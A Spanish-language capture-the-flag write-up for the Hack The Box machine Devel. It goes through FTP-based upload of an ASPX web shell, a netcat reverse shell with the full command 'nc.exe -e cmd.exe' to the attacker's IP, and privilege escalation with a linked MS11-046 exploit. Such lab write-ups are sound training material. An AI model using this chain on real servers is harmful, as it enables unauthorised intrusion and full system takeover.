Devel | Hack The Box

En este tutorial voy a mostrar como obtuve la bandera root en la máquina Devel de Hack The Box. Esta propiedad se presenta como un desafío de nivel fácil.

Devel

1 de noviembre de 2024

Enumeración


Para comenzar voy a realizar un escaneo de puertos abiertos con nmap:

nmap puertos

Veo que se encuentran abiertos los puertos 21 y 80, así que voy a realizar un nuevo escaneo para esos dos puertos y así obtener algo más de información.

nmap puertos abiertos

Por lo que veo en el escaneo realizado se permite el inicio de sesión anónimo para el puerto 21. Esto es un dato relevante que probaré más adelante. Por otro veo que el puerto 80 posee la versión 7.5 de Internet Information Services (IIS), esto también es interesante ya que mas adelante puedo buscar alguna vulnerabilidad asociada.

Ahora voy a ingresar en la página web para ver de que se trata:

web

Por lo visto me renderiza una imagen con varias palabras (rápidamente noté todas las palabras dicen "Bienvenido" en diferentes idiomas). Esta imagen esta vinculada con un enlace que lleva a una web externa de Microsoft.

Para este punto realicé varios procedimientos de enumeración pero no encontré nada útil, así que es momento de ingresar al puerto 21 (FTP). Esto lo voy a realizar ingresando como anónimo, ya que por lo visto en el escaneo de puertos es posible:

ftp anonymousls

Por lo visto todo lo que se encuentra en el servidor FTP es lo mismo que veo en la página web, con lo cuál a simple vista no hay información que me pueda ser útil.

Al saber que dentro del servidor FTP se encuentran los archivos de la página web puedo ingresar un archivo que permita ejecutar comandos y usarlo desde la página web.

Explotación


Como resalté anteriormente, el puerto 80 es un IIS, así que puedo subir un archivo con extensión aspx.

En mi caso tengo el directorio SecList, el cual posee un archivo .aspx que permite generar un CMD para ejecutar comandos. Acá dejo el repositorio con el código: https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/FuzzDB/cmd.aspx

Entonces voy a guardar ese codigo con el nombre "cmd.aspx" y lo voy a enviar al servidor mediante el puerto 21:

ftp put

Ahora al ingresar con la url y el nombre del archivo veo un input el cual me permite ejecutar comandos:

cmd

Ahora lo que puedo intentar es mediante este comando subir un netcat a la máquina para asi ejecutar una reverse Shell. Para saber que netcat enviar voy a averiguar antes de cuantos bits es la maquina:

32 bits

Me devuelve x86 lo que significa que es de 32 bits. Así que voy a buscar un netcat para Windows de 32 bits. El archivo ya viene incluido en kali:

netcat

Luego paso el archivo al servidor mediante FTP:

binary

Antes de enviarlo es importante avisarle a la consola que vamos a transferir un binario, caso contrario se va a transferir pero no lo voy a poder abrir.

El siguiente paso es encontrar el archivo en la consola de comandos que ejecute en la página web. Por lo general suelen estar en la ruta por defectos, la cual es C:\inetpub\wwwroot.

wwwroot

Una vez encontrada la ubicación del archivo voy a ejecutar netcat en mi máquina y le voy a pasar el puerto 4444, luego voy a ejecutar el siguiente comando en el cmd de la página web:

C:\inetpub\wwwroot\nc.exe -e cmd.exe 10.10.14.21 4444

Este comando ejecuta el netcat en la máquina víctima y le pasa mi dirección IP junto con el puerto especificado en netcat:

reverse shell

Escalada de Privilegios


Voy a ejecutar whoami /priv para ver que privilegios tengo:

privilegios

Al ingresar el comando systeminfo veo que se trata de un Windows 7, el cual es sabido que posee multiples vulnerabilidades. Así que voy a buscar alguna vulnerabilidad para esta versión.

En github encontré un ejecutable que permite escalar privilegios en Windows 7: https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe

Descargo el archivo y lo muevo hasta mi directorio para luego pasárselo a la maquina mediante ftp:

ms11-046

Me dirijo hacia la raíz donde van a parar los archivos que subo mediante FTP y ahí esta:

ms11-046 windows

Al ejecutarlo logro escalar privilegios:

exec ms

Ahora solo resta encontrar las banderas, la bandera user.txt se encuentra en el escritorio del usuario “babis” y la bandera root.txt esta en el escritorio del usuario Administrator.

Espero que este tutorial te haya sido de ayuda!